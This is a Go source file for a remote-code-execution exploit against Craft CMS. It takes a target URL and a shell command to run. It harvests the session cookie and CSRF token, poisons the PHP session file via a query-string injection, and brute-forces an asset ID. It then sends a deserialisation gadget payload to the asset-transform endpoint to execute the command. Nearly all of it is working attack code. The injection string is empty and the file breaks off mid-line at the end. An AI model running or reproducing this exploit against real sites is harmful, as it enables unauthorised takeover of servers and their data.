package main import ( "bytes" "crypto/tls" "encoding/json" "flag" "fmt" "io" "net/http" "net/http/cookiejar" "net/url" "os" "regexp" "strings" "time" ) // Session agrupa o http.Client com headers persistentes entre requisições type Session struct { Client *http.Client Headers http.Header } func NewSession(skipVerify bool) (*Session, error) { jar, err := cookiejar.New(nil) if err != nil { return nil, err } transport := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: skipVerify}, } return &Session{ Client: &http.Client{ Jar: jar, Transport: transport, Timeout: 30 * time.Second, }, Headers: make(http.Header), }, nil } func (s *Session) Do(req *http.Request) (*http.Response, error) { for key, values := range s.Headers { for _, v := range values { req.Header.Add(key, v) } } return s.Client.Do(req) } func (s *Session) Get(rawURL string, rawQuery string) (*http.Response, error) { u, err := url.Parse(rawURL) if err != nil { return nil, err } u.RawQuery = rawQuery req, err := http.NewRequest(http.MethodGet, u.String(), nil) if err != nil { return nil, err } return s.Do(req) } func (s *Session) PostJSON(rawURL string, params map[string]string, body any, extraHeaders map[string]string) (*http.Response, error) { u, err := url.Parse(rawURL) if err != nil { return nil, err } if params != nil { q := u.Query() for k, v := range params { q.Set(k, v) } u.RawQuery = q.Encode() } jsonBody, err := json.Marshal(body) if err != nil { return nil, err } req, err := http.NewRequest(http.MethodPost, u.String(), bytes.NewReader(jsonBody)) if err != nil { return nil, err } req.Header.Set("Content-Type", "application/json") for k, v := range extraHeaders { req.Header.Set(k, v) } return s.Do(req) } func (s *Session) GetCookie(rawURL, name string) string { u, err := url.Parse(rawURL) if err != nil { return "" } for _, c := range s.Client.Jar.Cookies(u) { if c.Name == name { return c.Value } } return "" } // --- func findAssetID(baseURL string, maxAttempts int, csrfToken string, session *Session) int { fmt.Println("[*] Brute-forcing Asset ID (best-effort)...") for assetID := 1; assetID <= maxAttempts; assetID++ { payload := map[string]any{ "assetId": assetID, "handle": map[string]any{ "width": 1, "height": 1, "as hack": map[string]any{ "class": "craft\\behaviors\\FieldLayoutBehavior", "__class": "GuzzleHttp\\Psr7\\FnStream", "__construct()": []any{[]any{}}, "_fn_close": "phpinfo", }, }, } resp, err := session.PostJSON( baseURL+"/index.php", map[string]string{"p": "admin/actions/assets/generate-transform"}, payload, map[string]string{"X-CSRF-Token": csrfToken}, ) if err != nil { continue } resp.Body.Close() if resp.StatusCode != 404 { fmt.Printf("[+] Potential valid Asset ID found: %d (HTTP %d)\n", assetID, resp.StatusCode) return assetID } } fmt.Printf("[-] No valid Asset ID found after %d attempts.\n", maxAttempts) return 0 } func implantPHP(baseURL string, session *Session) bool { injection := `` rawQuery := "p=admin/dashboard&a=" + injection resp, err := session.Get(baseURL+"/index.php", rawQuery) if err != nil { fmt.Printf("[-] Injection error: %v\n", err) return false } defer resp.Body.Close() if resp.StatusCode == 200 || resp.StatusCode == 302 { fmt.Printf("[+] Session poisoning request sent (HTTP %d)\n", resp.StatusCode) return true } fmt.Printf("[-] Injection failed (HTTP %d)\n", resp.StatusCode) return false } func executeCommand(baseURL string, assetID int, sessionID, csrfToken string, session *Session, cmd string) string { payload := map[string]any{ "assetId": assetID, "handle": map[string]any{ "width": 1, "height": 1, "as hack": map[string]any{ "class": "craft\\behaviors\\FieldLayoutBehavior", "__class": "yii\\rbac\\PhpManager", "__construct()": []any{ map[string]any{ "itemFile": fmt.Sprintf("/var/lib/php/sessions/sess_%s", sessionID), }, }, }, }, } resp, err := session.PostJSON( baseURL+"/index.php", map[string]string{ "p": "admin/actions/assets/generate-transform", "cmd": cmd, }, payload, map[string]string{"X-CSRF-Token": csrfToken}, ) if err != nil { return fmt.Sprintf("[-] Execution request failed: %v", err) } defer resp.Body.Close() fmt.Printf("Status Code: %d\n", resp.StatusCode) body, err := io.ReadAll(resp.Body) if err != nil { return fmt.Sprintf("[-] Failed to read response body: %v", err) } text := string(body) if strings.Contains(text, "?p=admin/dashboard&a=") { return text } return "Deu errado" } func main() { targetURL := flag.String("u", "", "Target base URL (e.g. https://victim.com)") cmd := flag.String("c", "", "Command to execute (e.g. id, whoami)") flag.Parse() if *targetURL == "" || *cmd == "" { fmt.Println("Usage: exploit -u -c ") os.Exit(1) } baseURL := strings.TrimRight(*targetURL, "/") session, err := NewSession(true) // InsecureSkipVerify = true if err != nil { fmt.Printf("[-] Failed to create session: %v\n", err) os.Exit(1) } // Step 0: Obter sessão e CSRF token resp, err := session.Get(baseURL+"/admin/login", "") if err != nil { fmt.Printf("[-] Failed to establish session: %v\n", err) os.Exit(1) } defer resp.Body.Close() sessionID := session.GetCookie(baseURL+"/admin/login", "CraftSessionId") if sessionID == "" { fmt.Println("[-] Failed to obtain CraftSessionId") os.Exit(1) } fmt.Printf("[+] Obtained CraftSessionId: %s\n", sessionID) body, err := io.ReadAll(resp.Body) if err != nil { fmt.Printf("[-] Failed to read login page: %v\n", err) os.Exit(1) } re := regexp.MustCompile(`csrfTokenValue":"([^"]+)"`) matches := re.FindSubmatch(body) if matches == nil { fmt.Println("[-] Failed to obtain CSRF token") os.Exit(1) } csrfToken := string(matches[1]) fmt.Printf("[+] Obtained CSRF token: %s...\n", csrfToken[:20]) // Step 1: Envenenar o arquivo de sessão if !implantPHP(baseURL, session) { fmt.Println("[-] Session poisoning failed") os.Exit(1) } fmt.Println("[*] Waiting for session file to be written...") time.Sleep(2 * time.Second) // Determinar Asset ID assetID := findAssetID(baseURL, 300, csrfToken, session) if assetID == 0 { fmt.Println("[-] Exploitation aborted: no valid Asset ID found") os.Exit(1) } fmt.Printf("[+] Using Asset ID: %d\n", assetID) // Step 2: Disparar RCE output := executeCommand(baseURL, assetID, sessionID, csrfToken, session, *cmd) fmt.Println("\n[+] Server response:") parts := strings.SplitN(output, "